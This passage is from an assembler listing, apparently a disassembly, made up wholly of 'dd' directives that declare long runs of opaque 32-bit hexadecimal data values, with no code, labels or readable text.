		dd 1D5EF3BFh, 830DF77h,	0CC7B494Bh, 64D300FFh, 92A94996h
		dd 1760D60Ah, 0F7FB9F89h, 111C6032h, 2A9551C1h,	61A66400h
		dd 0CB973AA8h, 0F89A304Bh, 0CA67BD71h, 323F0DFh, 0A29D5E92h
		dd 2F2B629Ch, 67A28BCFh, 0D487BF5Dh, 0C206D806h, 7F591F05h
		dd 0F09EED64h, 8BE832EBh, 71C00331h, 80DB43BFh,	9FFCB32h
		dd 0E6280C2Bh, 0D4603D1Eh, 48FB6600h, 0B8E7DC47h, 388C4919h
		dd 0F9B53380h, 7874DD9h, 0E0B56B95h, 0E8E6ACB6h, 0BC246909h
		dd 0FC60201Eh, 0F8DACAD7h, 0E9DB00C1h, 416402E6h, 4C9022ADh
		dd 107A3022h, 3C52FEE5h, 29F0528Fh, 6771485Eh, 201F418h
		dd 7035A43h, 0E60C94Fh,	0F13A39C1h, 50DA6814h, 0D8A80079h
		dd 0FDA6908Dh, 7E6697F5h, 214208h, 20D88FDDh, 7F852FB3h
		dd 0B70C43FCh, 71519441h, 0E01B5433h, 9373049Bh, 8027620Dh
		dd 4D87CCA8h, 0F7399C05h, 0DC41D98Bh, 417B76D8h, 975420h
		dd 0BD3B2336h, 0E5A08A6Dh, 0FD669007h, 8EB120BCh, 682243D3h
		dd 11C9123h, 0CBBF6F04h, 38205362h, 0E35FFC9h, 0BFA9B9AEh
		dd 2EEF5140h, 0E5141A1Dh, 50B4575Eh, 0A08CCD50h, 49A2A7B8h
		dd 2F88508Eh, 5E855883h, 883C8176h, 0CF8C530h, 4CDAE58Fh
		dd 0B314A050h, 15E874E8h, 904D70h, 5FA31E88h, 0EC06E96Ch
		dd 9F4E0051h, 0F2892B01h, 69563AF0h, 7A300C8h, 683F92D4h
		dd 98A607Fh, 7B44FB1Fh,	74B4901h, 5348E222h, 198F10D5h
		dd 80C39012h, 6E201B5h,	20B09210h, 2A1F86A1h, 990673ECh
		dd 2210D63h, 0D9075829h, 38916792h, 504E1025h, 7A710007h
		dd 0A209BB95h, 0EDFCD308h, 0DC806C01h, 7D487E18h, 7BAED0F7h
		dd 47E33A5Ch, 0D6641060h, 0CD0356CCh, 0C5FF2DD7h, 590830BFh
		dd 0CCCE8721h, 8AB20D1Fh, 81FED346h, 63442818h,	7F5FC60h
		dd 0BB066DE5h, 34A730A4h
		dd 1000274Eh, 68DCA34Ch, 2CE20786h, 0CDF1EC7h, 5E88FFF2h
		dd 0CCD8048Ch, 62E7CD58h, 0D089205Ah, 6C1C2FCCh, 26866FF2h
		dd 811365h, 0AE6E878h, 98B96979h, 1C18597Fh, 0F5211A65h
		dd 562700D3h, 1FAC7609h, 18708B6Dh, 6A6553Dh, 4A7F1913h
		dd 30CF1C69h, 81F0801Fh, 0CD446561h, 0FEF120h, 3E9E1B09h
		dd 9F988464h, 887C0D19h, 21801108h, 0AF3E963Dh,	0E1E2A62Dh
		dd 0C2CC0A1Ch, 918A88F0h, 8629CE01h, 0A73021A0h, 1167344Ah
		dd 0F9C75FA9h, 3EDA190Ch, 6418BC8Ch, 16962114h,	249D300h
		dd 1BABB2ACh, 547F0346h, 7C588119h, 8CDC004h, 6F01FC67h
		dd 0CB651D87h, 26124100h, 54788B51h, 29CC0F6Dh,	0E320F714h
		dd 116BFAE7h, 71444B13h, 4D53C00Eh, 484239EBh, 759309Ah
		dd 6F92DA10h, 7514FE0h,	0AE2A2701h, 79A3AC93h, 854DC3C2h
		dd 689D8040h, 0C78C1DDh, 0FC73075h, 841567B0h, 1F80C0D1h
		dd 45929F7Ah, 7DC42410h, 3EA2048Ch, 62B88468h, 9A412018h
		dd 7F16933Eh, 0AEEE32h,	0E90B6755h, 0EB6610CDh,	46586471h
		dd 3E9C02CBh, 31888462h, 943B1013h, 306E63Eh, 26A60B1Dh
		dd 50E0E607h, 8C927F2Ch, 0BE669B00h, 1F7604A1h,	4DFC3348h
		dd 21008F08h, 0B4BE5EC0h, 60C496ACh, 126E076h, 0F8C337D5h
		dd 35033DB8h, 44A41870h, 88FC534Ch, 0A375A14h, 0D98119C7h
		dd 0A18410F2h, 880553F3h, 88133ACCh, 2C03A289h,	0C10B3BCFh
		dd 1187AC31h, 0AFD3953Eh, 11FABC5h, 944C088h, 94F84297h
		dd 78335331h, 4FC02188h, 186D78CBh, 9105F1D8h, 0E20F53BCh
		dd 6035913Ch, 0DA85F6DFh, 0BB4C94h, 43E6023h, 0F7CD5ACCh
		dd 8B235B62h, 0D12000D2h, 17C47A8h, 98A12619h, 8A8C504Bh
		dd 79C2508Eh, 48B8F91Eh, 20C70624h, 0FA18753Ch,	0E53918C9h
		dd 0DC525609h, 0A3BE6802h, 97318604h, 0BE60C210h, 2CCE8B00h
		dd 0FEE33553h, 73206B8h, 6077E4C7h, 0B1C358E8h,	0A8D2033Eh
		dd 0E7BC99h, 95CF965Eh,	0AD626C3Fh, 6001BD74h, 3143100Ch
		dd 0C04417A7h, 2223BC3Ah, 9600Eh, 0FE88B69Eh, 0A40898F9h
		dd 654020A0h, 89012E12h, 0C20B3040h, 48AF9A73h,	4410B81Bh
		dd 8C083F3Eh, 0C82B14CFh, 2C74403Ch, 0CD808454h, 656D3Dh
		dd 0BE9153ECh, 6710C67Ch, 0A3596057h, 991C0B03h, 8CB98705h
		dd 20549C9Fh, 584848E6h, 29166486h, 8F008878h, 65AC0E82h
		dd 1FEF73A8h, 1574761Eh, 55808496h, 4F92D607h, 4D4B0087h
		dd 0F6DB2C07h, 5818E4B0h, 987152E3h, 0D95B3CD8h, 388C8E00h
		dd 1077CB0Eh, 0C80F7C01h, 8065E064h, 4BC02C21h,	67C4A222h
		dd 622344C0h, 88E88061h, 0DA917CEh, 4C338CFh, 17C2350h
		dd 93147854h, 0EF894F9h, 0D184B11Fh, 0E1B41859h, 0B03EC33h
		dd 4C4F6A2Bh, 0F9742F0h, 0A084FC00h, 9030B219h,	0B1152428h
		dd 11782478h, 3EA380D2h, 99C08469h, 9B42C0A4h, 3D1C9D3Eh
		dd 0C3C07E2Eh, 15EF2BF9h, 543918AAh, 0B094C008h, 2CA1E126h
		dd 0BA00A420h, 8C81F3CDh, 700449BBh, 458488Fh, 6974B04h
		dd 7FF480FAh, 0CB5C0A2Dh, 0BF049F28h, 0F8C952B4h, 9388D04Eh
		dd 0B2E134C0h, 40EE6061h, 9F7B3C86h, 48F45Dh, 49BF024Dh
		dd 58DAA7E6h, 5810B860h, 96D9003Bh, 0B906C498h,	8E2C3001h
		dd 88FC1359h, 0DC1B6600h, 6A64E08Ch, 99A100E3h,	9DAD6C03h
		dd 0A316F4EDh, 0EC0DDD7Ah, 8FE05161h, 870C9A70h, 601144BCh
		dd 978E2ADh, 28C18AE1h,	5348EF83h, 29E32030h, 0CFCA1FBh
		dd 2B16B5F6h, 3D8CCE69h, 7C83E9Fh, 12223442h, 1AE497FCh
		dd 530E1001h, 38C5F695h, 0D9164832h, 0E442202h,	59112051h
		dd 53CCD380h, 448CBFCDh, 0CB008461h, 0C2BC38CCh, 48E3E57Ah
		dd 4D05495Ch, 5360A706h, 23C43A90h, 15C30016h, 6582BE8Bh
		dd 8AB25C02h, 847C44DEh, 0D9605F54h, 0CD2159CCh, 0D18AC0EFh
		dd 0B4035CCCh, 7A979251h, 0CD0D988Ch, 0ECBE107Eh, 1F060265h
		dd 209F8E8Bh, 1938C7F3h, 7878CC48h, 0CDC80A12h,	24401C54h
		dd 63C0604Dh, 46049EBEh, 398225Eh, 6FBE5BBDh, 2BB8E50Ch
		dd 0D6F27CC6h, 0BA194502h, 0E7B2653Ah, 6726E4C8h, 82338940h
		dd 436600D5h, 0C23CABF9h, 0DA158AC9h, 489C4AAAh, 697E34D0h
		dd 1E8848CEh, 0E41F55C0h, 15ACA857h, 761A3F35h,	8A0F683Ah
		dd 0C4E08CB1h, 0AED3A4F4h, 21309D14h, 0A07B8A44h, 94467Eh
		dd 67C9CB8Bh, 25950DE1h, 0AC8379B8h, 2900852Dh,	721EF2ECh
		dd 242BF04h, 98975BE8h,	1C0AAEA9h, 5A4674h, 8B474C1Ah
		dd 0CC7F6C1h, 902C2428h, 0A2007171h, 0CACD3C20h, 0F28ECEh
		dd 41DA69C7h, 0EB0A2676h, 0F5BCC801h, 7230A704h, 0C5A864h
		dd 43FA089Eh, 6B9707Bh,	0C8F28324h, 0C1CE0980h,	3AF042Eh
		dd 876FB14Dh, 51E2E61Fh, 0BE6798B0h, 7E04A211h,	0C1809688h
		dd 24F5BE5Fh, 0FF601D54h, 0CDA8025Ch, 8507310h,	3D90920Ah
		dd 3A048C8Eh, 70830E3Fh, 0DB039C15h, 0A0EC9892h, 3A025330h
		dd 11435CFCh, 9640583Fh, 7400DC64h, 292B2D72h, 1818109Ch
		dd 0F90FF187h, 0D67AA242h, 5A01CC7Eh, 91750EEEh, 0CFFDDAEAh
		dd 3F22F2E8h, 0A407B3D5h, 405BE906h, 237C6FDCh,	5CF5E400h
		dd 86700BA5h, 0F1CC2C3Dh, 0C99940CCh, 0BA00677Eh, 2C18CD94h
		dd 1D6474CFh, 640BA353h, 20465EB8h, 5BF22905h, 884C135h
		dd 25E40162h, 862DD051h, 0EE00C454h, 77F8E83Eh,	69B00FD6h
		dd 1F92AB34h, 3850D850h, 8890B4E1h, 64024E46h, 66049FBEh
		dd 393F2867h, 67C3005Ch, 0BF474626h, 0A4DC003Ah, 3EBA18EBh
		dd 0FA10C88Bh, 9723ED28h, 0D7075601h, 0F8285792h, 74E4CB0h
		dd 0C4E90F00h, 98C96FB0h, 0BAA7EA7h, 0B4D0184h,	18C08009h
		dd 8E257EA4h, 0F7C001F4h, 66D235A5h, 71F4B130h,	0EFD01920h
		dd 394500CAh, 0E51D8050h, 0DC90BE94h, 0D4025A46h, 0C7CD54CCh
		dd 851FA4E7h, 0A016F8E6h, 6281B01Ch, 48E3CB19h,	0D43897DDh
		dd 0E22D5C4h, 0AADE00E1h, 5C17D8FCh, 30106C8Eh,	1C260774h
		dd 113DBF07h, 2406AAFCh, 2444BFDh, 0E5D75CDAh, 92E4D045h
		dd 46DA1560h, 30CFF204h, 0AC8029FFh, 4CE1B108h,	2F4A5897h
		dd 6123A4h, 6851CDDh, 0CA0097EFh, 39F9E95Ah, 3A417D91h
		dd 899808E4h, 882C609Ch, 5A1F91C0h, 0FF1D42h, 3E33770Ch
		dd 8A933786h, 4989852h,	39B8E184h, 6494DA07h, 0F410D1F1h
		dd 0A208337Bh, 1C6B301Fh, 872D5B18h, 0FC889h, 680645CEh
		dd 0A01A07F2h, 0EC2A7107h, 0E9CC8018h, 9E60753Dh, 14465E1Ch
		dd 32AC5200h, 5383FC51h, 137DF0EBh, 91B2EE0Fh, 0BCA6C25Eh
		dd 37F4806Bh, 608C8AA5h, 0FA0A79F1h, 9CB17453h,	41181D79h
		dd 2B7C7001h, 4AB5A5CBh, 0C4B8E7F2h, 0CD81605Fh, 0F27E7FD8h
		dd 0ABA12A1h, 0A4B490D0h, 868998A6h, 4C23603Ch,	9DBE6201h
		dd 2C335604h, 0BE5ABC80h, 900BE132h, 48B0D5F8h,	2BD034Ch
		dd 0B83A802Ch, 0FC80A07Dh, 61EC72AAh, 0F4350225h, 8BE612EAh
		dd 0C39188ECh, 80F5418Ch, 90936B3Dh, 6087F131h,	9069639Ch
		dd 35677D00h, 0DE09316Fh, 9B9E200Eh, 0D60C72A4h, 5C0AF049h
		dd 0DC8630C5h, 8B159067h, 5E01191h, 37F0C984h, 0BC4CCCA6h
		dd 0C42CC0C0h, 3D2D4BDFh, 0B6D000D6h, 59CA0AE2h, 0E52D8C6Fh
		dd 90110817h, 1892F580h, 5133BB2h, 0AC800C8Fh, 9054D061h
		dd 169B4628h, 0C009075Ah, 2281C77h, 0F0075250h,	6860BCFFh
		dd 2D86768Dh, 0B03A34B9h, 8C11EC62h, 95D420D6h,	754048Ch
		dd 624792D5h, 4C4A2224h
		dd 37DE7040h, 928FDA00h, 0CCA6521Eh, 6CCF2E61h,	81C43AC4h
		dd 1A11AF20h, 992A8F8Ah, 1311D49Dh, 6CED3F80h, 6101C0F0h
		dd 6F224AC5h, 0C980AC2Dh, 81F1AE3Ah, 0BB5C94D3h, 8C5FE8ECh
		dd 0D743FC00h, 0EF753D07h, 0F98613B1h, 6B0C1F4h, 0E21CE0CDh
		dd 0B1C947Bh, 0D0E60301h, 9D36A603h, 2D781896h,	8392918Ah
		dd 3214B00h, 0A6D3AAFh,	413D0B76h, 6847CEBAh, 84043591h
		dd 72B78F9h, 0E500C8E1h, 4B988F7Ah, 0CCA04860h,	633E9DC0h
		dd 2C904B84h, 95003CFCh, 9EBE5D3Eh, 0CF5C91Bh, 860ECA48h
		dd 7A803888h, 2630A1BFh, 0B4145DF0h, 74DCE82Ch,	0ED031646h
		dd 388D90CEh, 200B8EA9h, 9940CDE8h, 0FFE2253h, 0B1B09416h
		dd 0BBD458C1h, 20A22063h, 11601F31h, 94E100D6h,	8738C7ECh
		dd 0D896F0FCh, 0DC3F7692h, 0A2019123h, 0D30A852Dh, 0C782643Ch
		dd 7E00495Ch, 0A03C7101h, 25187B9Ch, 0B480087Fh, 8BC54802h
		dd 78A85150h, 2B4B4542h, 1723E0h, 3D9D2BEh, 36002D1Fh
		dd 40634EBh, 0D2888D8Bh, 0C8B0CB29h, 0F169C70Fh, 2457AED1h
		dd 0C9028A3Ch, 0B402995Ah, 0C750CA49h, 605E4440h, 1C49AB9Fh
		dd 89FE626Ah, 9B089033h, 5D4305F4h, 0E038F674h,	22A3E88h
		dd 0D3B5C8BEh, 0ECF918F2h, 73086D02h, 9012010Dh, 50586821h
		dd 1C43F708h, 930FE910h, 69038C6Bh, 0FE8295E0h,	85576390h
		dd 0B8141098h, 1038AB81h, 0B1C82DFFh, 88977482h, 0B9B8580Dh
		dd 185D7968h, 379900C6h, 42868BCBh, 0C0127F0Bh,	2C3A4E2Dh
		dd 2B001523h, 20125295h, 0FC54013Ah, 1513C60Ah,	0A2FC231Eh
		dd 0C2FA300Fh, 3D7F8509h, 0F4210866h, 1234674h,	8898E04Bh
		dd 66C22D96h, 5EB00FB0h, 0DFA5C1h, 0CBDA2092h, 0C018C2D0h
		dd 19787C63h, 0AD1A16D2h, 23A82F73h, 0D66E0A1Eh, 988B09ABh
		dd 3C601CCAh, 0CD507051h, 883EFED8h, 981CA4C9h,	97D12029h
		dd 2F00FF18h, 19F9F19Ch, 4A68549Ah, 0CD64D064h,	800D0A6h
		dd 0DC651816h, 69862Fh,	7D6E62C4h, 2D51599Ch, 89342095h
		dd 7D2B58BCh, 7523581Ah, 335BCF00h, 6E6309E2h, 10C1C50Bh
		dd 0F044C3A2h, 961BAB38h, 31910430h, 0F8F6249Dh, 0B46344A0h
		dd 29A03E01h, 5A4F55B9h, 0EDBC8C30h, 5934C104h,	97080030h
		dd 615640C4h, 79B50205h, 4A345C2h, 239C2B4Ah, 786E0098h
		dd 458F8020h, 8165973Fh, 0AEE6C7FFh, 44217F09h,	34C02804h
		dd 7D3B4FF2h, 0B6A17819h, 7F04F474h, 198125CAh,	10584780h
		dd 2EE0C45Ch, 0AA4D0092h, 0E45AFC06h, 9F048880h, 9FC3CE7h
		dd 0C5E625FAh, 6390C4F4h, 0BA18C026h, 0A858F735h, 0D16D01CFh
		dd 0B3EDC0FCh, 0A2D8333Fh, 191A305Dh, 67802504h, 8CA4643Fh
		dd 0A5760007h, 0AFAA004h, 895F18DBh, 3AAAF440h,	0C51352h
		dd 0DDCAD47Ch, 0CD4C5A8Fh, 2C871012h, 59683400h, 90DBD0Bh
		dd 0D7F3B937h, 1379B871h, 79003918h, 0F0E0BA43h, 0DBCC5h
		dd 3B521B0Bh, 23A535Bh,	4B3003F0h, 0F1DB606Bh, 0D63E880Ah
		dd 0CF000CE2h, 8AF6858Dh, 3C5659A4h, 5B1241AAh,	9F340254h
		dd 0A8834D7Ch, 0D382D15Ch, 0C4D124CAh, 31181E79h, 3D01E4E7h
		dd 0CB05949Ch, 88F0ED94h, 42A302BAh, 114302C1h,	0EC854CC4h
		dd 16DEE8A4h, 14F2A6Bh,	6F041E5h, 0A969FDBFh, 1749B850h
		dd 8094115Ch, 3AD7119h,	34CB0454h, 0C4850DB8h, 90F01020h
		dd 94B0098Bh, 7C209704h, 1158B15Bh, 993C59A5h, 61184B90h
		dd 49CBE09h, 9C4Eh, 0A3BE59BBh,	99D57B12h, 615BF000h, 0B0936311h
		dd 98896A65h, 0D4BD2DC0h, 0D4D3F184h, 820073BCh, 94A94A59h
		dd 7C9C71B0h, 0F0902C16h, 63AF21h, 2DB9C79Dh, 4B7034E3h
		dd 0A320B898h, 59672E0Eh, 1C17277Ch, 72802491h,	0DC6D0446h
		dd 0E4DFA713h, 708CB40Fh, 0C5227C01h, 18A33682h, 0F851E9E4h
		dd 503058EAh, 29760078h, 0F57EB7B6h, 2400AE1Bh,	811F48A7h
		dd 54B1B03Ch, 0FC7DE89Bh, 0D00E2590h, 0C2CE14EDh, 0F0FF9B4Ah
		dd 0A37520D0h, 18091493h, 4C8D184h, 21F38h, 0E4483CD0h
		dd 125A1262h, 230C2FE6h, 73803D96h, 31C88C74h, 54981182h
		dd 0A41A570Fh, 6494768Ah, 4C1B0B8h, 357778A7h, 4A302700h
		dd 0F23BC2Fh, 0F904B707h, 0E8B43794h, 445C48BDh, 18E88048h
		dd 2D8A078Ch, 20F99013h, 87F5A3Fh, 0E035315h, 0B96F01BCh
		dd 8096D7E5h, 941C3029h, 41F393E1h, 0D0F9863Ch,	22F02D0Fh
		dd 9209AE8h, 17A09BC9h,	70CC0862h, 78D448B6h, 0B3F81Bh
		dd 77C276C3h, 7C7015B6h, 86472313h, 0F00B4429h,	3AC09788h
		dd 1CAB77h, 95A0DE01h, 0FF4B4268h, 0FCEC4458h, 3E308C5Ah
		dd 4286A82Eh, 0AC90887h, 467ED5C8h, 215C1290h, 9EFD8004h
		dd 3D08D101h, 69742049h, 9D2090B8h, 0C1DC2514h,	0C2843827h
		dd 0D4A42331h, 0BC2CB8EBh, 47018C0Fh, 0E3650EFEh, 74F143EBh
		dd 1EB8AC38h, 0F142018Ch, 0C71C561h, 0D0A42106h, 3C4ACF91h
		dd 2223EC2Fh, 429A770Eh, 7C8DF82Eh, 68026984h, 24744614h
		dd 467440EAh, 55201395h, 676B9700h, 31D9846Eh, 0FC682524h
		dd 9FAFC4D8h, 0B0183662h, 958A0212h, 798808F9h,	8F08051Bh
		dd 2C04E03Ch, 642FFDF9h, 0B60F2E8h, 6488F631h, 0F19822h
		dd 75562189h, 389FA4C9h, 8462280Eh, 0C0DBD748h,	0B29C9080h
		dd 953A233Dh, 0D89473B0h, 11AC1D2Fh, 5AED8921h,	0B8933F8Ch
		dd 2D288C29h, 86010835h, 0BDAB7366h, 173BD2F4h,	1EF3C88Bh
		dd 61DF1DA0h, 661820D9h, 0A4FF8706h, 0F191964h,	28652C8Dh
		dd 0AE387DA3h, 7C7743F0h, 0E62BF424h, 4C3DC91Ch, 6DBE0278h
		dd 402FF338h, 7D4B6AB4h, 0E3FF1303h, 0B0C8A7A1h, 169EE343h
		dd 0C24BBCBEh, 8D1C4A8h, 98950C96h, 97235C3Bh, 0C335500h
		dd 7E1686E5h, 488A69C2h, 0ECC018EDh, 513D70h, 95C7F52Dh
		dd 74D9FA52h, 54BE389Ah, 57F703DCh, 3253B6A4h, 719481DCh
		dd 7B311727h, 3A3A2ACFh, 1132384h, 0B4642C5Fh, 0D98030C9h
		dd 2DD1444h, 0C7E23B86h, 0B874547Eh, 40FCCDEBh,	0E24F02ABh
		dd 0A49D080Eh, 0BDEAA5FCh, 0D98620C0h, 0C82E4D64h, 65E50204h
		dd 2290F882h, 8AD8007Ch, 0B95FC3E8h, 38274F01h,	0E200C3CBh
		dd 8CD854B8h, 53308314h, 0FC6962ECh, 0DC85080h,	4C58A707h
		dd 0F7EC26C0h, 0C9278F5Fh, 649CC70Ah, 0E05E6793h, 8AAEA0E2h
		dd 61046089h, 8EAD3C5Bh, 18017C4Bh, 0B06535Ch, 7027B00h
		dd 9E8C059Dh, 11E2E8E3h, 2880B733h, 5BA8BF07h, 0AFA04267h
		dd 6811AAEBh, 76F074D2h, 0A03F5846h, 40F1DE76h,	10BEDC0h
		dd 4898DD3Dh, 697B9C89h, 66FB810h, 653586E1h, 1D954858h
		dd 80211178h, 0D43274F0h, 80D10933h, 280B5D77h,	60116035h
		dd 0E86B2380h, 9A1EE782h, 0D10275D8h, 40036718h, 20B09450h
		dd 9A97A4D5h, 0AD2C603Ch, 3867809Fh, 0C805772Dh, 5B721F2Ch
		dd 2F1482CDh, 63F39422h, 75DAD1A8h, 0C130342Ah,	14C8E8h
		dd 0FEF1C90Bh, 0C0564C06h, 0FBD19A07h, 0B093C18Ch, 111C38DDh
		dd 406232Dh, 48641897h,	88F98408h, 0A2B091Bh, 0AB839437h
		dd 0E039B4E1h, 2C7C0C77h, 80C6CEDh, 18021AF7h, 53E61CB1h
		dd 69565870h, 3AEAFA05h, 940062A4h, 0F66CC876h,	4AB5EA5Dh
		dd 447B4Ah, 1525A88Dh, 0BE83C9B8h, 10020898h, 0E989188Dh
		dd 583ECFE0h, 26BCDC74h, 0BFFC008Ch, 0EFF19727h, 5602401Ah
		dd 14D1847Ch, 3ABC8029h, 5804623h, 48E3CA82h, 0AC80B9E5h
		dd 0E27003h, 70536FDEh,	9CF920B9h, 0CC25A090h, 0A4B868F1h
		dd 0F4450029h
		dd 0C7D385C2h, 4C0B1727h, 2D75A34h, 4454ACh, 2618F9FAh
		dd 8FF160B1h, 0DB01C918h, 71D866Fh, 3825F097h, 4F68043Ah
		dd 56C7031Ch, 0AB87D9EEh, 9E962030h, 2AF7856Ch,	2084A8ECh
		dd 0ED282EA5h, 2546749Ch, 0D6C22C00h, 3AA59B0Ah, 180787E8h
		dd 6AB842B2h, 6896C7B2h, 2EC686BCh, 82384F48h, 0F99553FAh
		dd 0E141D0F4h, 0CE308DC8h, 4E6D98CDh, 670806Dh,	80B750BFh
		dd 5E3B613Ch, 337C0970h, 0D0701F28h, 0B77000B3h, 8EFE2F24h
		dd 92604010h, 80A84039h, 0E6781ED8h, 0FA7480h, 1BA130D6h
		dd 9CDF0263h, 786BE55Bh, 69051D3Bh, 0D064C986h,	0B3E0FC34h
		dd 242C123Eh, 19052C5Ch, 8A8C883h, 0D5C05B88h, 5CCD55CCh
		dd 86E3ECCFh, 4E88CCEBh, 0D0A81764h, 0D7004B19h, 62F86BAEh
		dd 167AF95h, 0A57454Fh,	22C37303h, 0C984065Ch, 12981EB0h
		dd 47E0A67Ch, 89057E28h, 0F72E48F0h, 0D90894EEh, 24C9253Ah
		dd 2C2D0DA6h, 94F284A9h, 0ACF0EDB8h, 0E3072EAAh, 2800DE88h
		dd 4CC8B919h, 175D02BAh, 0B2C3D1AEh, 9F9D7E10h,	982411E4h
		dd 0BBDD8ACh, 81E6F677h, 0DAF01831h, 9744E447h,	0A9505160h
		dd 0C2CE1D07h, 7C77B8FCh, 796E98B3h, 1CC91458h,	804BB831h
		dd 3C49C550h, 5C23FFh, 584101A4h, 0E8942B1h, 0A617A22Eh
		dd 0D88F8DC1h, 0EA69E971h, 26C4645Eh, 54D94B49h, 0E5A38001h
		dd 0BBED1ACEh, 7A9ECAFCh, 9D647E2Bh, 5F0A2C24h,	411C0B4Eh
		dd 0ED1E9A55h, 3B7072F4h, 3C8B35B8h, 1837BB95h,	6CBDC380h
		dd 1772D98Bh, 0A523520Fh, 0BC0478FCh, 0E0BD8C58h, 2DB8954Ah
		dd 88E8A25h, 0C02E6F44h, 0F9290690h, 80929A04h,	40978F19h
		dd 48705B0h, 61FB0407h,	0BCE71B03h, 2B34F278h, 82C004CDh
		dd 25F03C7Dh, 50CBE48Ah, 73551800h, 7C9F0519h, 4B8BD67h
		dd 0F35EC08Ah, 82F5C48Dh, 3982647Ch, 4CCB0F6h, 3DB8340Ch
		dd 1939E18Ch, 48D44983h, 0C7D45BEDh, 83394D8Fh,	0C023220Ch
		dd 0C1D23486h, 0E363C211h, 0D8C4484Dh, 0BD299C02h, 81B5B1EAh
		dd 7948A7AFh, 0A25AD88Fh, 1870420h, 0E0D30EA5h,	9323D03Ah
		dd 835BBB00h, 13A2E14h,	0E7265DCDh, 804C8118h, 0D0FC9489h
		dd 41E40D2h, 30CD5921h,	156CB8DBh, 0ECC03F1h, 6169055Eh
		dd 6FB2552Ch, 57318C31h, 0E0DA9898h, 0E6256D1Ah, 0E837F7h
		dd 0E0FD39CAh, 0EF247674h, 0BF41C61h, 69553F89h, 10008CC4h
		dd 0C3B99F92h, 44871Ch,	30A69C45h, 0B600465h, 0DC326227h
		dd 5E8117F9h, 0AFD05C4h, 870F2D1h, 45D188Fh, 88742CE4h
		dd 0F400D228h, 19365F02h, 0BCCB0657h, 13465E24h, 0B65A9E00h
		dd 0C40A4EE6h, 0E101F0A4h, 8AB745C7h, 318A0794h, 9C4CC80Ah
		dd 9B6296BFh, 0C592C8A8h, 0E050C733h, 0E4053A53h, 60514B6Fh
		dd 653BA6B5h, 848805A9h, 0E91378D9h, 858009B4h,	0D0747BA2h
		dd 263B8125h, 8B0E8051h, 8CDF6C8h, 40214803h, 944B9900h
		dd 0ECDF5339h, 8B68C414h, 8C60B834h, 37469D00h,	22CFD34Eh
		dd 48AA6191h, 6A559032h, 0F610901Ah, 1C00DC18h,	2D14302Ch
		dd 50AA4A10h, 0F4CFEA3Ah, 0C8A0F74Bh, 68BF1094h, 8C58ECB9h
		dd 0E1A4FA00h, 0A71063C3h, 681825BEh, 3BC76C01h, 6E35700Fh
		dd 0ADB97007h, 0CE8559E7h, 0E167CF2h, 42ECE11Fh, 10D1E0DCh
		dd 18BC3725h, 0A7043845h, 88718434h, 54483CF7h,	8C95B8h
		dd 0CDCC8657h, 883F49E6h, 24EE14Ch, 9734AAAh, 119C9DCFh
		dd 59809E61h, 9CBDFD11h, 41FE1631h, 61308DB7h, 11AC5DCh
		dd 0FC74E464h, 800896F1h, 8F68C558h, 814FF3E8h,	2123282Fh
		dd 8557B10Eh, 0B8872D75h, 0A3178C34h, 7C67C4D0h, 0B260A225h
		dd 0B16F305Ch, 7AC1313h, 33255000h, 0E13718CFh,	814C9E2Ah
		dd 9187F519h, 1178C3Ch,	6BC41CDh, 445EC4BFh, 4858F7A4h
		dd 8C96B840h, 0B19FA407h, 8680EF14h, 5D18759Eh,	387B48AFh
		dd 6A3053D6h, 1D889299h, 0C4D08B4Eh, 84F3E6E5h,	64598063h
		dd 0D0313D6Dh, 4ADC1F27h, 78E34513h, 63C098E7h,	3701ED4h
		dd 192B3FBAh, 213B5184h, 2079672Dh, 0E7EB4560h,	91370923h
		dd 0E0512964h, 4821B826h, 2753443Eh, 98E41008h,	0FC402D4Ah
		dd 41DDE7FCh, 28A72709h, 0F5FE48E1h, 0C982DC1h,	4842FA2Ch
		dd 30471253h, 682C4167h, 3C56D061h, 8C1EBC20h, 0F8EB9026h
		dd 0F8407C11h, 0F15B4074h, 18800704h, 84F3D37Fh, 0DF305DE2h
		dd 259E7751h, 1C9AB011h, 96F2E066h, 5337C50Fh, 67516023h
		dd 0E0CDA8h, 0C16EB26Ah, 6199D6B5h, 77270316h, 1C081816h
		dd 0EDCB800Dh, 8A7895F6h, 4801A500h, 0E334C945h, 735D00C2h
		dd 80743A7h, 0AC02535Ah, 4A3614C7h, 0B0BC178h, 23A82F2Ah
		dd 0A63E0026h, 719A1F6Bh, 56AF2301h, 7F2DE495h,	5CE23C23h
		dd 7FF39930h, 0F420245Ah, 37860024h, 0C9B5D8FDh, 0E11A7300h
		dd 0DCC67EB4h, 0DFA0A153h, 793C71F6h, 7801893h,	0E25C3284h
		dd 0DE871039h, 0B82F949Dh, 827C09FDh, 0D30543D0h, 0EC4D27B0h
		dd 5CE19440h, 0A8D33CCBh, 0C14BA99Fh, 0A20B7C70h, 86B068A6h
		dd 39822Dh, 1583FAEEh, 786DF9Fh, 5D881B5h, 8C380E64h, 8C17BCh
		dd 6A06DCCDh, 2A1AE9AAh, 261DF4Ch, 4DB0956Ch, 497CDEACh
		dd 1179BCF9h, 560C3718h, 40E1A6B8h, 0A1058CD0h,	0B084673Eh
		dd 40B0ECACh, 0C2003E99h, 5FBC2207h, 5D70E104h,	5900BC3Dh
		dd 0FD0823B9h, 974BCD1Dh, 2470FC81h, 0CBF8756Bh, 0C014C8A4h
		dd 3725D56Fh, 989627E2h, 0D9909261h, 0A100176Fh, 106B2B04h
		dd 0AE4DF101h, 1469FD7h, 61011D68h, 88B44E7Ah, 0C20AC012h
		dd 0C48B0BBh, 0ED28C354h, 7069C214h, 0A06B9760h, 803EABC4h
		dd 53165C23h, 0BDC84605h, 0D0FAA8C2h, 0E4F24CD8h, 0DFDE5280h
		dd 6018263Bh, 37F91364h, 0B87C1C4Fh, 0FE5FC32Ah, 819A59CEh
		dd 467CD476h, 0EB2D0092h, 30CF47E1h, 1F225F2Fh,	18450F00h
		dd 68B4A173h, 49B4AECh,	0C56D1884h, 8FF804AEh, 5B011F0Bh
		dd 596B46CEh, 25248C24h, 3CD084D1h, 805174A2h, 71181879h
		dd 60642803h, 91875B94h, 97ED51Fh, 0E05C53BCh, 0A7DEC340h
		dd 1CEE0F8Fh, 83A03DD1h, 0CA8E3AC4h, 0D2868900h, 0DBA2F45Eh
		dd 20854C18h, 0A68538Eh, 696A2F3Ch, 82151D14h, 3A5F0D68h
		dd 0DC8874E0h, 0AD08400h, 989358D1h, 539940DDh,	0C8EC0359h
		dd 3CC704AFh, 0FCCE80Ah, 4953D445h, 0F15C51E1h,	5B0E1C1Fh
		dd 0A6141389h, 0EE05E568h, 0CB4723Bh, 300C8969h, 0D1CA8288h
